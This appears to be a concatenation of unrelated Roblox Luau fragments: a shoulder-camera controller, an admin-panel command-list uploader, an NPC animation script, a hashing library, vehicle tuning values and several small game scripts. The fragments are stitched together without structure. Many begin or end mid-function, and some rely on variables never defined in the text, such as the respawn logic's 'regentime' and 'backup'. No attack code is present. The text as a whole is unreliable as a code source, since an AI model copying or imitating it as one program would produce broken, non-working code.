self.gamepadPan = Vector2.new(0, 0) -- essentially the amount the gamepad has moved from resting position self.movementPan = Vector2.new(0, 0) -- this is for movement (gamepadPan is for camera) self.lastThumbstickPos = Vector2.new(0, 0) self.lastThumbstickTime = nil self.currentGamepadSpeed = 0 self.lastGamepadVelocity = Vector2.new(0, 0) -- Occlusion self.lastOcclusionDistance = 0 self.lastOcclusionReachedTime = 0 -- marks the last time camera was at the true occlusion distance self.defaultTimeUntilZoomOut = 0 self.timeUntilZoomOut = self.defaultTimeUntilZoomOut -- time after lastOcclusionReachedTime that camera will zoom out self.timeLastPoppedWayIn = 0 -- this holds the last time camera popped nearly into first person self.isZoomingOut = false self.tweenOutTime = 0.2 self.curOcclusionTween = nil self.occlusionTweenObject = nil -- Side correction (when player is against a wall) self.sideCorrectionGoalVector = nil self.lastSideCorrectionMagnitude = 0 self.lastSideCorrectionReachedTime = 0 -- marks the last time the camera was at the true correction distance self.revertSideCorrectionSpeedMultiplier = 2 -- speed at which camera reverts the side correction (towards 0 correction) self.defaultTimeUntilRevertSideCorrection = 0.75 self.timeUntilRevertSideCorrection = self.defaultTimeUntilRevertSideCorrection -- time after lastSideCorrectionReachedTime that camera will revert the correction self.isRevertingSideCorrection = false -- Datamodel references self.eventConnections = {} self.raycastIgnoreList = {} self.currentCamera = nil self.currentCharacter = nil self.currentHumanoid = nil self.currentRootPart = nil self.controlModule = nil -- used to get player's touch input for moving character self.random = Random.new() return self end function ShoulderCamera:setEnabled(enabled) if self.enabled == enabled then return end self.enabled = enabled if self.enabled then RunService:BindToRenderStep(CAMERA_RENDERSTEP_NAME, Enum.RenderPriority.Camera.Value - 1, function(dt) self:onRenderStep(dt) end) ContextActionService:BindAction(ZOOM_ACTION_NAME, function(...) self:onZoomAction(...) end, false, unpack(self.zoomInputs)) ContextActionService:BindAction(SPRINT_ACTION_NAME, function(...) self:onSprintAction(...) end, false, unpack(self.sprintInputs)) table.insert(self.eventConnections, LocalPlayer.CharacterAdded:Connect(function(character) self:onCurrentCharacterChanged(character) end)) table.insert(self.eventConnections, LocalPlayer.CharacterRemoving:Connect(function() self:onCurrentCharacterChanged(nil) end)) table.insert(self.eventConnections, workspace:GetPropertyChangedSignal("CurrentCamera"):Connect(function() self:onCurrentCameraChanged(workspace.CurrentCamera) end)) table.insert(self.eventConnections, UserInputService.InputBegan:Connect(function(inputObj, wasProcessed) self:onInputBegan(inputObj, wasProcessed) end)) table.insert(self.eventConnections, UserInputService.InputChanged:Connect(function(inputObj, wasProcessed) self:onInputChanged(inputObj, wasProcessed) end)) table.insert(self.eventConnections, UserInputService.InputEnded:Connect(function(inputObj, wasProcessed) self:onInputEnded(inputObj, wasProcessed) end)) self:onCurrentCharacterChanged(LocalPlayer.Character) self:onCurrentCameraChanged(workspace.CurrentCamera) -- Make transition to shouldercamera smooth by facing in same direction as previous camera local cameraLook = self.currentCamera.CFrame.lookVector self.yaw = math.atan2(-cameraLook.X, -cameraLook.Z) self.pitch = math.asin(cameraLook.Y) self.currentCamera.CameraType = Enum.CameraType.Scriptable self:setZoomFactor(self.currentZoomFactor) -- this ensures that zoomedFOV reflecs currentZoomFactor workspace.CurrentCamera.CameraSubject = self.currentRootPart self.occlusionTweenObject = Instance.new("NumberValue") self.occlusionTweenObject.Name = "OcclusionTweenObject" self.occlusionTweenObject.Parent = script self.occlusionTweenObject.Changed:Connect(function(value) self.lastOcclusionDistance = value end) -- Sets up weapon system to use camera for raycast direction instead of gun look vector self.weaponsSystem.aimRayCallback = function() local cameraCFrame = self.currentCFrame return Ray.new(cameraCFrame.p, cameraCFrame.LookVector * 500) end else RunService:UnbindFromRenderStep(CAMERA_RENDERSTEP_NAME) ContextActionService:UnbindAction(ZOOM_ACTION_NAME) ContextActionService:UnbindAction(SPRINT_ACTION_NAME) if self.currentHumanoid then self.currentHumanoid.AutoRotate = true end if self.currentCamera then self.currentCamera.CameraType = Enum.CameraType.Custom end self:updateZoomState() self.yaw = 0 self.pitch = 0 for _, conn in pairs(self.eventConnections) do conn:Disconnect() end self.eventConnections = {} UserInputService.MouseBehavior = Enum.MouseBehavior.Default UserInputService.MouseIconEnabled = true end end function ShoulderCamera:onRenderStep(dt) if not self.enabled or not self.currentCamera or not self.currentCharacter or not self.currentHumanoid or not self.currentRootPart then return end -- Hide mouse and lock to center if applicable if self.mouseLocked and not GuiService:GetEmotesMenuOpen() then UserInputService.MouseBehavior = Enum.MouseBehavior.LockCenter UserInputService.MouseIconEnabled = false else UserInputService.MouseBehavior = Enum.MouseBehavior.Default UserInputService.MouseIconEnabled = true end -- Handle gamepad input self:processGamepadInput(dt) -- Smoothly zoom to desired values if self.hasScope then ShoulderCamera.SpringService:Target(self, 0.8, 8, { zoomAlpha = self.zoomState and 1 or 0 }) ShoulderCamera.SpringService:Target(self.currentCamera, 0.8, 8, { FieldOfView = self.desiredFieldOfView }) else ShoulderCamera.SpringService:Target(self, 0.8, 3, { zoomAlpha = self.zoomState and 1 or 0 }) ShoulderCamera.SpringService:Target(self.currentCamera, 0.8, 3, { FieldOfView = self.desiredFieldOfView }) end -- Handle walk speed changes if self.sprintEnabled or self.slowZoomWalkEnabled then self.desiredWalkSpeed = self.normalWalkSpeed if self.sprintEnabled and (self.sprintingInputActivated or self:sprintFromTouchInput() or self:sprintFromGamepadInput()) and not self.zoomState then self.desiredWalkSpeed = self.sprintingWalkSpeed end if self.slowZoomWalkEnabled and self.zoomAlpha > 0.1 then self.desiredWalkSpeed = self.zoomWalkSpeed end ShoulderCamera.SpringService:Target(self.currentHumanoid, 0.95, 4, { WalkSpeed = self.desiredWalkSpeed }) end -- Initialize variables used for side correction, occlusion, and calculating camera focus/rotation local rootPartPos = self.currentRootPart.CFrame.Position local rootPartUnrotatedCFrame = CFrame.new(rootPartPos) local yawRotation = CFrame.Angles(0, self.yaw, 0) local pitchRotation = CFrame.Angles(self.pitch + self.currentRecoil.Y, 0, 0) local xOffset = CFrame.new(self.normalOffset.X, 0, 0) local yOffset = CFrame.new(0, self.normalOffset.Y, 0) local zOffset = CFrame.new(0, 0, self.normalOffset.Z) local collisionRadius = self:getCollisionRadius() local cameraYawRotationAndXOffset = yawRotation * -- First rotate around the Y axis (look left/right) xOffset -- Then perform the desired offset (so camera is centered to side of player instead of directly on player) local cameraFocus = rootPartUnrotatedCFrame * cameraYawRotationAndXOffset -- Handle/Calculate side correction when player is adjacent to a wall (so camera doesn't go in the wall) local vecToFocus = cameraFocus.p - rootPartPos local rayToFocus = Ray.new(rootPartPos, vecToFocus + (vecToFocus.Unit * collisionRadius)) local hitPart, hitPoint, hitNormal = self:penetrateCast(rayToFocus, self.raycastIgnoreList) local currentTime = tick() local sideCorrectionGoalVector = Vector3.new() -- if nothing is adjacent to player, goal vector is (0, 0, 0) if hitPart then hitPoint = hitPoint + (hitNormal * collisionRadius) sideCorrectionGoalVector = hitPoint - cameraFocus.p if sideCorrectionGoalVector.Magnitude >= self.lastSideCorrectionMagnitude then -- make it easy for camera to pop closer to player (move left) if currentTime > self.lastSideCorrectionReachedTime + self.timeUntilRevertSideCorrection and self.lastSideCorrectionMagnitude ~= 0 then self.timeUntilRevertSideCorrection = self.defaultTimeUntilRevertSideCorrection * 2 -- double time until revert if popping in repeatedly elseif self.lastSideCorrectionMagnitude == 0 and self.timeUntilRevertSideCorrection ~= self.defaultTimeUntilRevertSideCorrection then self.timeUntilRevertSideCorrection = self.defaultTimeUntilRevertSideCorrection end self.lastSideCorrectionMagnitude = sideCorrectionGoalVector.Magnitude self.lastSideCorrectionReachedTime = currentTime self.isRevertingSideCorrection = false else self.isRevertingSideCorrection = true end elseif self.lastSideCorrectionMagnitude ~= 0 then self.isRevertingSideCorrection = true end if self.isRevertingSideCorrection then -- make it hard/slow for camera to revert side correction (move right) if sideCorrectionGoalVector.Magnitude > self.lastSideCorrectionMagnitude - 1 and sideCorrectionGoalVector.Magnitude ~= 0 then self.lastSideCorrectionReachedTime = currentTime -- reset timer if occlusion significantly increased since last frame end if currentTime > self.lastSideCorrectionReachedTime + self.timeUntilRevertSideCorrection then local sideCorrectionChangeAmount = dt * (vecToFocus.Magnitude) * self.revertSideCorrectionSpeedMultiplier self.lastSideCorrectionMagnitude = self.lastSideCorrectionMagnitude - sideCorrectionChangeAmount if sideCorrectionGoalVector.Magnitude >= self.lastSideCorrectionMagnitude then self.lastSideCorrectionMagnitude = sideCorrectionGoalVector.Magnitude self.lastSideCorrectionReachedTime = currentTime self.isRevertingSideCorrection = false end end end -- Update cameraFocus to reflect side correction cameraYawRotationAndXOffset = cameraYawRotationAndXOffset + (-vecToFocus.Unit * self.lastSideCorrectionMagnitude) cameraFocus = rootPartUnrotatedCFrame * cameraYawRotationAndXOffset self.currentCamera.Focus = cameraFocus -- Calculate and apply CFrame for camera local cameraCFrameInSubjectSpace = cameraYawRotationAndXOffset * pitchRotation * -- rotate around the X axis (look up/down) yOffset * -- move camera up/vertically zOffset -- move camera back self.currentCFrame = rootPartUnrotatedCFrame * cameraCFrameInSubjectSpace -- Move camera forward if zoomed in if self.zoomAlpha > 0 then local trueZoomedOffset = math.max(self.zoomedOffsetDistance - self.lastOcclusionDistance, 0) -- don't zoom too far in if already occluded self.currentCFrame = self.currentCFrame:lerp(self.currentCFrame + trueZoomedOffset * self.currentCFrame.LookVector.Unit, self.zoomAlpha) end self.currentCamera.CFrame = self.currentCFrame -- Handle occlusion local occlusionDistance = self.currentCamera:GetLargestCutoffDistance(self.raycastIgnoreList) if occlusionDistance > 1e-5 then occlusionDistance = occlusionDistance + collisionRadius end if occlusionDistance >= self.lastOcclusionDistance then -- make it easy for the camera to pop in towards the player if self.curOcclusionTween ~= nil then self.curOcclusionTween:Cancel() self.curOcclusionTween = nil end if currentTime > self.lastOcclusionReachedTime + self.timeUntilZoomOut and self.lastOcclusionDistance ~= 0 then self.timeUntilZoomOut = self.defaultTimeUntilZoomOut * 2 -- double time until zoom out if popping in repeatedly elseif self.lastOcclusionDistance == 0 and self.timeUntilZoomOut ~= self.defaultTimeUntilZoomOut then self.timeUntilZoomOut = self.defaultTimeUntilZoomOut end if occlusionDistance / self.normalOffset.Z > 0.8 and self.timeLastPoppedWayIn == 0 then self.timeLastPoppedWayIn = currentTime end self.lastOcclusionDistance = occlusionDistance self.lastOcclusionReachedTime = currentTime self.isZoomingOut = false else -- make it hard/slow for camera to zoom out self.isZoomingOut = true if occlusionDistance > self.lastOcclusionDistance - 2 and occlusionDistance ~= 0 then -- reset timer if occlusion significantly increased since last frame self.lastOcclusionReachedTime = currentTime end -- If occlusion pops camera in to almost first person for a short time, pop out instantly if currentTime < self.timeLastPoppedWayIn + self.defaultTimeUntilZoomOut and self.lastOcclusionDistance / self.normalOffset.Z > 0.8 then self.lastOcclusionDistance = occlusionDistance self.lastOcclusionReachedTime = currentTime self.isZoomingOut = false elseif currentTime >= self.timeLastPoppedWayIn + self.defaultTimeUntilZoomOut and self.timeLastPoppedWayIn ~= 0 then self.timeLastPoppedWayIn = 0 end end -- Update occlusion amount if timeout time has passed if currentTime >= self.lastOcclusionReachedTime + self.timeUntilZoomOut and not self.zoomState then if self.curOcclusionTween == nil then self.occlusionTweenObject.Value = self.lastOcclusionDistance local tweenInfo = TweenInfo.new(self.tweenOutTime) local goal = {} goal.Value = self.lastOcclusionDistance - self.normalOffset.Z self.curOcclusionTween = TweenService:Create(self.occlusionTweenObject, tweenInfo, goal) self.curOcclusionTween:Play() end end -- Apply occlusion to camera CFrame local currentOffsetDir = self.currentCFrame.LookVector.Unit self.currentCFrame = self.currentCFrame + (currentOffsetDir * self.lastOcclusionDistance) self.currentCamera.CFrame = self.currentCFrame -- Apply recoil decay self.currentRecoil = self.currentRecoil - (self.currentRecoil * self.recoilDecay * dt) if self:isHumanoidControllable() and self.rotateCharacterWithCamera then self.currentHumanoid.AutoRotate = false self.currentRootPart.CFrame = CFrame.Angles(0, self.yaw, 0) + self.currentRootPart.Position -- rotate character to be upright and facing the same direction as camera self:applyRootJointFix() else self.currentHumanoid.AutoRotate = true end self:handlePartTransparencies() self:handleTouchToolFiring() end
--// This module is only used to generate and update a list of non-custom commands for the webpanel and will not operate under normal circumstances
return function(Vargs) --if true then return end --// fully disabled service.TrackTask("Thread: WEBPANEL_JSON_UPDATE", function() wait(1) local enabled = _G.ADONISWEB_CMD_JSON_DOUPDATE; local secret = _G.ADONISWEB_CMD_JSON_SECRET; local endpoint = _G.ADONISWEB_CMD_JSON_ENDPOINT; if not enabled or not secret or not endpoint then return end print("WEB ENABLED DO UPDATE"); local server = Vargs.Server; local service = Vargs.Service; local Core = server.Core; local Commands = server.Commands; if Core.DebugMode and enabled then print("DEBUG DO LAUNCH ENABLED"); wait(5) local list = {}; local HTTP = service.HttpService; local Encode = server.Functions.Base64Encode local Decode = server.Functions.Base64Decode for i,cmd in next,Commands do table.insert(list, { Index = i; Prefix = cmd.Prefix; Commands = cmd.Commands; Arguments = cmd.Args; Description = cmd.Description; AdminLevel = cmd.AdminLevel; Hidden = cmd.Hidden or false; NoFilter = cmd.NoFilter or false; }) end --warn("COMMANDS LIST JSON: "); --print("\n\n".. HTTP:JSONEncode(list) .."\n\n"); --print("ENCODED") --// LAUNCH IT print("LAUNCHING") local success, res = pcall(HTTP.RequestAsync, HTTP, { Url = endpoint; Method = "POST"; Headers = { ["Content-Type"] = "application/json", ["Secret"] = secret }; Body = HTTP:JSONEncode({ ["data"] = Encode(HTTP:JSONEncode(list)) }) }); print("LAUNCHED TO WEBPANEL") print("RESPONSE BELOW") print("SUCCESS: ".. tostring(success).. "\n".. "RESPONSE:\n"..(res and HTTP.JSONEncode(res)) or res) end end) end
--[[ @brief Performs an operation on heartbeat for a set amount of time. @details This fills a common need for animating things smoothly, esp. GUIs. Expect things animated through this function to be smoother than things animated on a while loop. @param fn The callback function for each heartbeat step. @param lengthOfTime The length of time which we should continually call the callback. @param yield Whether this function should yield or return immediately. --]]
function AnimateLib.TemporaryOnHeartbeat(fn, lengthOfTime, yield, callback) local function PerfectDT(dt) if lengthOfTime > dt then lengthOfTime = lengthOfTime - dt; fn(dt); else local t = lengthOfTime; lengthOfTime = 0; fn(t); end end local function Condition() return lengthOfTime > 0; end return AnimateLib.ConditionalOnHeartbeat(PerfectDT, Condition, yield, callback); end return AnimateLib;
--This script makes the screen black when the player dies.
Player = script.Parent.Parent.Parent.Parent.Character s = Player.Humanoid while true do if s.Health <= 1 then script.Parent.Visible = true script.Parent.Transparency = 1 --Invisible wait(0.3) script.Parent.Transparency = script.Parent.Transparency - 0.1 --0.9 wait(0.3) script.Parent.Transparency = script.Parent.Transparency - 0.1 --0.8 wait(0.3) script.Parent.Transparency = script.Parent.Transparency - 0.1 --0.7 wait(0.3) script.Parent.Transparency = script.Parent.Transparency - 0.1 --0.6 wait(0.3) script.Parent.Transparency = script.Parent.Transparency - 0.1 --0.5 wait(0.3) script.Parent.Transparency = script.Parent.Transparency - 0.1 --0.4 wait(0.3) script.Parent.Transparency = script.Parent.Transparency - 0.1 --0.3 wait(0.3) script.Parent.Transparency = script.Parent.Transparency - 0.1 --0.2 wait(0.3) script.Parent.Transparency = script.Parent.Transparency - 0.1 --0.1 wait(0.3) script.Parent.Transparency = script.Parent.Transparency - 0.1 --Completely black screen wait(999999999999999) end wait() end
--// Handling Settings
Firerate = 60 / 5500; -- 60 = 1 Minute, 5500 = Rounds per that 60 seconds. DO NOT TOUCH THE 60! FireMode = 2; -- 1 = Semi, 2 = Auto, 3 = Burst, 4 = Bolt Action, 5 = Shot, 6 = Explosive
-- Determines whether log messages will go to stdout/stderr
local outputEnabled = true
-- Syrchronized time
local ReplicatedStorage = game:GetService("ReplicatedStorage") local RunService = game:GetService("RunService") local ServerTime = {} local _timeOffset = 0 local _serverTime = ReplicatedStorage:FindFirstChild("ServerTime") if not _serverTime then _serverTime = Instance.new("NumberValue") _serverTime.Name = "ServerTime" _serverTime.Parent = ReplicatedStorage end local function _update() _serverTime.Value = tick() - _timeOffset end function ServerTime.run() _timeOffset = tick() _update() RunService.Stepped:Connect(_update) end
-- "open" - opens the shutters straight away -- "close" - closes the shutters straight away -- "release" - emergency release which opens them to 5.2 studs -- These are the two you'll need: -- "time_open" - opens the shutter after actiontime -- "time_close" - closes the shutter after actiontime
--[[Engine]]
--Torque Curve Tune.Horsepower = 35 -- [TORQUE CURVE VISUAL] Tune.IdleRPM = 800 -- https://www.desmos.com/calculator/2uo3hqwdhf Tune.PeakRPM = 3000 -- Use sliders to manipulate values Tune.Redline = 6000 -- Copy and paste slider values into the respective tune values Tune.EqPoint = 6000 Tune.PeakSharpness = 2 Tune.CurveMult = .2 --Incline Compensation Tune.InclineComp = 1.5 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees) --Misc Tune.RevAccel = 450 -- RPM acceleration when clutch is off Tune.RevDecay = 150 -- RPM decay when clutch is off Tune.RevBounce = 500 -- RPM kickback from redline Tune.IdleThrottle = 0 -- Percent throttle at idle Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response, lower = more stable RPM)
-- Main Functions
function Animater.new(controller: controller?) local self = table.clone(Animater) self._maid = Maid.new() self.Tracks = {} self.Controller = controller self.FadeIn = 0 self.FadeOut = 0 self.Priority = Enum.AnimationPriority.Core return self end
-- Functions
function MapManager:SaveMap(object) FindAndSaveSpawns(object) for i = #Spawns, 1, -1 do if Configurations.TEAMS then if Spawns[i].TeamColor.Name == "Bright red" or Spawns[i].TeamColor.Name == "Bright blue" then Spawns[i].Neutral = false Spawns[i].Transparency = 1 else table.remove(Spawns, i):Destroy() end else Spawns[i].Neutral = true Spawns[i].Transparency = 1 end end for _, child in pairs(object:GetChildren()) do if not child:IsA("Camera") and not child:IsA("Terrain") and child.Name ~= "MapPurgeProof" then local copy = child:Clone() if copy then copy.Parent = MapSave end end end end function MapManager:ClearMap() for _, child in ipairs(game.Workspace:GetChildren()) do if not child:IsA('Camera') and not child:IsA('Terrain') and child.Name ~= "MapPurgeProof" then child:Destroy() end end end function MapManager:LoadMap() spawn(function() for _, child in ipairs(MapSave:GetChildren()) do local copy = child:Clone() copy.Parent = game.Workspace end end) end return MapManager
------------------ ------------------
function waitForChild(parent, childName) while true do local child = parent:findFirstChild(childName) if child then return child end parent.ChildAdded:wait() end end local Figure = script.Parent local Torso = waitForChild(Figure, "Torso") local RightShoulder = waitForChild(Torso, "Right Shoulder") local LeftShoulder = waitForChild(Torso, "Left Shoulder") local RightHip = waitForChild(Torso, "Right Hip") local LeftHip = waitForChild(Torso, "Left Hip") local Neck = waitForChild(Torso, "Neck") local Humanoid = waitForChild(Figure, "Zombie") local pose = "Standing" local toolAnim = "None" local toolAnimTime = 0 local isSeated = false function onRunning(speed) if isSeated then return end if speed>0 then pose = "Running" else pose = "Standing" end end function onDied() pose = "Dead" wait(regentime) wait(1) model:remove() model = backup:Clone() wait(3) model.Parent = game.Workspace model:MakeJoints() end function onJumping() isSeated = false pose = "Jumping" end function onClimbing() pose = "Climbing" end function onGettingUp() pose = "GettingUp" end function onFreeFall() pose = "FreeFall" end function onDancing() pose = "Dancing" end function onFallingDown() pose = "FallingDown" end function onSeated() isSeated = true pose = "Seated" end function moveJump() RightShoulder.MaxVelocity = 1 LeftShoulder.MaxVelocity = 1 RightShoulder.DesiredAngle = -3.14 LeftShoulder.DesiredAngle = -3.14 RightHip.DesiredAngle = 0 LeftHip.DesiredAngle = 0 end function moveFreeFall() RightShoulder.MaxVelocity = 0.5 LeftShoulder.MaxVelocity = 0.5 RightShoulder.DesiredAngle = -1 LeftShoulder.DesiredAngle = -1 RightHip.DesiredAngle = 0 LeftHip.DesiredAngle = 0 end function moveFloat() RightShoulder.MaxVelocity = 0.5 LeftShoulder.MaxVelocity = 0.5 RightShoulder.DesiredAngle = -1.57 LeftShoulder.DesiredAngle = 1.57 RightHip.DesiredAngle = 1.57 LeftHip.DesiredAngle = -1.57 end function moveBoogy() while pose=="Boogy" do wait(.5) RightShoulder.MaxVelocity = 1 LeftShoulder.MaxVelocity = 1 RightShoulder.DesiredAngle = -3.14 LeftShoulder.DesiredAngle = 0 RightHip.DesiredAngle = 1.57 LeftHip.DesiredAngle = 0 wait(.5) RightShoulder.MaxVelocity = 1 LeftShoulder.MaxVelocity = 1 RightShoulder.DesiredAngle = 0 LeftShoulder.DesiredAngle = -3.14 RightHip.DesiredAngle = 0 LeftHip.DesiredAngle = 1.57 end end function moveZombie() RightShoulder.MaxVelocity = 0.5 LeftShoulder.MaxVelocity = 0.5 RightShoulder.DesiredAngle = -1.57 LeftShoulder.DesiredAngle = 1.57 RightHip.DesiredAngle = 0 LeftHip.DesiredAngle = 0 end function movePunch() script.Parent.Torso.Anchored=true RightShoulder.MaxVelocity = 60 LeftShoulder.MaxVelocity = 0.5 RightShoulder.DesiredAngle = -1.57 LeftShoulder.DesiredAngle = 0 RightHip.DesiredAngle = 0 LeftHip.DesiredAngle = 0 wait(1) script.Parent.Torso.Anchored=false pose="Standing" end function moveKick() RightShoulder.MaxVelocity = 0.5 LeftShoulder.MaxVelocity = 0.5 RightShoulder.DesiredAngle = 0 LeftShoulder.DesiredAngle = 0 RightHip.MaxVelocity = 40 RightHip.DesiredAngle = 1.57 LeftHip.DesiredAngle = 0 wait(1) pose="Standing" end function moveFly() RightShoulder.MaxVelocity = 0.5 LeftShoulder.MaxVelocity = 0.5 RightShoulder.DesiredAngle = 0 LeftShoulder.DesiredAngle = 0 RightHip.MaxVelocity = 40 RightHip.DesiredAngle = 1.57 LeftHip.DesiredAngle = 0 wait(1) pose="Standing" end function moveClimb() RightShoulder.MaxVelocity = 0.5 LeftShoulder.MaxVelocity = 0.5 RightShoulder.DesiredAngle = -3.14 LeftShoulder.DesiredAngle = 3.14 RightHip.DesiredAngle = 0 LeftHip.DesiredAngle = 0 end function moveSit() RightShoulder.MaxVelocity = 0.15 LeftShoulder.MaxVelocity = 0.15 RightShoulder.DesiredAngle = -3.14 /2 LeftShoulder.DesiredAngle = -3.14 /2 RightHip.DesiredAngle = 3.14 /2 LeftHip.DesiredAngle = -3.14 /2 end function getTool() kidTable = Figure:children() if (kidTable ~= nil) then numKids = #kidTable for i=1,numKids do if (kidTable[i].className == "Tool") then return kidTable[i] end end end return nil end function getToolAnim(tool) c = tool:children() for i=1,#c do if (c[i].Name == "toolanim" and c[i].className == "StringValue") then return c[i] end end return nil end function animateTool() if (toolAnim == "None") then RightShoulder.DesiredAngle = -1.57 return end if (toolAnim == "Slash") then RightShoulder.MaxVelocity = 0.5 RightShoulder.DesiredAngle = 0 return end if (toolAnim == "Lunge") then RightShoulder.MaxVelocity = 0.5 LeftShoulder.MaxVelocity = 0.5 RightHip.MaxVelocity = 0.5 LeftHip.MaxVelocity = 0.5 RightShoulder.DesiredAngle = -1.57 LeftShoulder.DesiredAngle = 1.0 RightHip.DesiredAngle = 1.57 LeftHip.DesiredAngle = 1.0 return end end function move(time) local amplitude local frequency if (pose == "Jumping") then moveJump() return end if (pose == "Zombie") then moveZombie() return end if (pose == "Boogy") then moveBoogy() return end if (pose == "Float") then moveFloat() return end if (pose == "Punch") then movePunch() return end if (pose == "Kick") then moveKick() return end if (pose == "Fly") then moveFly() return end if (pose == "FreeFall") then moveFreeFall() return end if (pose == "Climbing") then moveClimb() return end if (pose == "Seated") then moveSit() return end amplitude = 0.1 frequency = 1 RightShoulder.MaxVelocity = 0.15 LeftShoulder.MaxVelocity = 0.15 if (pose == "Running") then amplitude = 1 frequency = 9 elseif (pose == "Dancing") then amplitude = 2 frequency = 16 end desiredAngle = amplitude * math.sin(time*frequency) if pose~="Dancing" then RightShoulder.DesiredAngle = -desiredAngle LeftShoulder.DesiredAngle = desiredAngle RightHip.DesiredAngle = -desiredAngle LeftHip.DesiredAngle = -desiredAngle else RightShoulder.DesiredAngle = desiredAngle LeftShoulder.DesiredAngle = desiredAngle RightHip.DesiredAngle = -desiredAngle LeftHip.DesiredAngle = -desiredAngle end local tool = getTool() if tool ~= nil then animStringValueObject = getToolAnim(tool) if animStringValueObject ~= nil then toolAnim = animStringValueObject.Value -- message recieved, delete StringValue animStringValueObject.Parent = nil toolAnimTime = time + .3 end if time > toolAnimTime then toolAnimTime = 0 toolAnim = "None" end animateTool() else toolAnim = "None" toolAnimTime = 0 end end
-- Put this in the Head of the NPC that you want to talk.
--[[ Package link auto-generated by Rotriever ]]
local PackageIndex = script.Parent._Index local Package = require(PackageIndex["Cryo"]["Cryo"]) return Package
--// Events
local L_22_ = L_5_:WaitForChild('TurnOff') local L_23_ = L_5_:WaitForChild('TurnOn') local L_24_ = L_5_:WaitForChild('DustEvent') local L_25_ = L_5_:WaitForChild('FXEvent') local L_26_ = L_5_:WaitForChild('HitEvent') local L_27_ = L_5_:WaitForChild('DamageEvent') local L_28_ = L_5_:WaitForChild('CreateOwner')
--MODES NOT USED: All turns -- --"Signal1a or Signal2a" are NOT mandatory
--Signal1 works well for both directions --Signal2 works well for both directions
------------------------------------------------------------------
local EngineOn = false local Selected = false local LockedCam = true local LowestPoint = 0 local DesiredSpeed = 0 local CurrentSpeed = 0 local TrueAirSpeed = 0 local Throttle = 0 local HugeVector = Vector3.new(math.huge,math.huge,math.huge)
-- Update 02.14.20 - added AsBinary for easy GameAnalytics replacement.
local function hmac(hash_func, key, message, AsBinary) -- Create an instance (private objects for current calculation) local block_size = block_size_for_HMAC[hash_func] if not block_size then error("Unknown hash function", 2) end local KeyLength = #key if KeyLength > block_size then key = string.gsub(hash_func(key), "%x%x", HexToBinFunction) KeyLength = #key end local append = hash_func()(string.gsub(key, ".", function(c) return string.char(bit32_bxor(string.byte(c), 0x36)) end) .. string.rep("6", block_size - KeyLength)) -- 6 = string.char(0x36) local result local function partial(message_part) if not message_part then result = result or hash_func( string.gsub(key, ".", function(c) return string.char(bit32_bxor(string.byte(c), 0x5c)) end) .. string.rep("\\", block_size - KeyLength) -- \ = string.char(0x5c) .. (string.gsub(append(), "%x%x", HexToBinFunction)) ) return result elseif result then error("Adding more chunks is not allowed after receiving the result", 2) else append(message_part) return partial end end if message then -- Actually perform calculations and return the HMAC of a message local FinalMessage = partial(message)() return AsBinary and (string.gsub(FinalMessage, "%x%x", BinaryStringMap)) or FinalMessage else -- Return function for chunk-by-chunk loading of a message -- User should feed every chunk of the message as single argument to this function and finally get HMAC by invoking this function without an argument return partial end end local sha = { md5 = md5, sha1 = sha1, -- SHA2 hash functions: sha224 = function(message) return sha256ext(224, message) end; sha256 = function(message) return sha256ext(256, message) end; sha512_224 = function(message) return sha512ext(224, message) end; sha512_256 = function(message) return sha512ext(256, message) end; sha384 = function(message) return sha512ext(384, message) end; sha512 = function(message) return sha512ext(512, message) end; -- SHA3 hash functions: sha3_224 = function(message) return keccak((1600 - 2 * 224) / 8, 224 / 8, false, message) end; sha3_256 = function(message) return keccak((1600 - 2 * 256) / 8, 256 / 8, false, message) end; sha3_384 = function(message) return keccak((1600 - 2 * 384) / 8, 384 / 8, false, message) end; sha3_512 = function(message) return keccak((1600 - 2 * 512) / 8, 512 / 8, false, message) end; shake128 = function(message, digest_size_in_bytes) return keccak((1600 - 2 * 128) / 8, digest_size_in_bytes, true, message) end; shake256 = function(message, digest_size_in_bytes) return keccak((1600 - 2 * 256) / 8, digest_size_in_bytes, true, message) end; -- misc utilities: hmac = hmac; -- HMAC(hash_func, key, message) is applicable to any hash function from this module except SHAKE* hex_to_bin = hex2bin; -- converts hexadecimal representation to binary string base64_to_bin = base642bin; -- converts base64 representation to binary string bin_to_base64 = bin2base64; -- converts binary string to base64 representation base64_encode = Base64.Encode; base64_decode = Base64.Decode; } block_size_for_HMAC = { [sha.md5] = 64; [sha.sha1] = 64; [sha.sha224] = 64; [sha.sha256] = 64; [sha.sha512_224] = 128; [sha.sha512_256] = 128; [sha.sha384] = 128; [sha.sha512] = 128; [sha.sha3_224] = (1600 - 2 * 224) / 8; [sha.sha3_256] = (1600 - 2 * 256) / 8; [sha.sha3_384] = (1600 - 2 * 384) / 8; [sha.sha3_512] = (1600 - 2 * 512) / 8; } return sha
--The button
script.Parent.Button.ClickDetector.MouseClick:connect(function(click) if not (on) then on = true--On script.Parent.Cover1.Transparency = 1 script.Parent.Cover2.Transparency = 1 script.Parent.Cover1.CanCollide = false script.Parent.Cover2.CanCollide = false elseif (on) then on = false --Off script.Parent.Cover1.Transparency = 0 script.Parent.Cover2.Transparency = 0 script.Parent.Cover1.CanCollide = true script.Parent.Cover2.CanCollide = true end end)
-- Runs when player dies or leaves. If one player is left, fires the end round
local function checkPlayerCount() if #activePlayers == 1 then roundEnd:Fire() end end local function removeActivePlayer(player) for playerKey, whichPlayer in pairs(activePlayers) do if whichPlayer == player then table.remove(activePlayers, playerKey) -- REMINDER: Make sure status updates before the checkPlayerCount. If not, value changed will overwrite the Winner status text. playersLeft.Value = #activePlayers checkPlayerCount() return end end end local function setPlayerCollisionGroup(player) local character = player.Character if not character then character = player.CharacterAdded:wait() end
--Don't Change
local MarketplaceService = game:GetService("MarketplaceService"); local Players = game:GetService("Players"); local Player = Players.LocalPlayer script.Parent.FocusLost:connect(function() if not Player then return end local BundleID = tonumber(script.Parent.Text); if not BundleID then return end if not require(script.ModuleScript)(BundleID) then return end pcall(function() MarketplaceService:PromptBundlePurchase(Player,BundleID) end) end)
--[[ Knit.CreateService(service): Service Knit.AddServices(folder): Service[] Knit.AddServicesDeep(folder): Service[] Knit.Start(): Promise<void> Knit.OnStart(): Promise<void> --]]
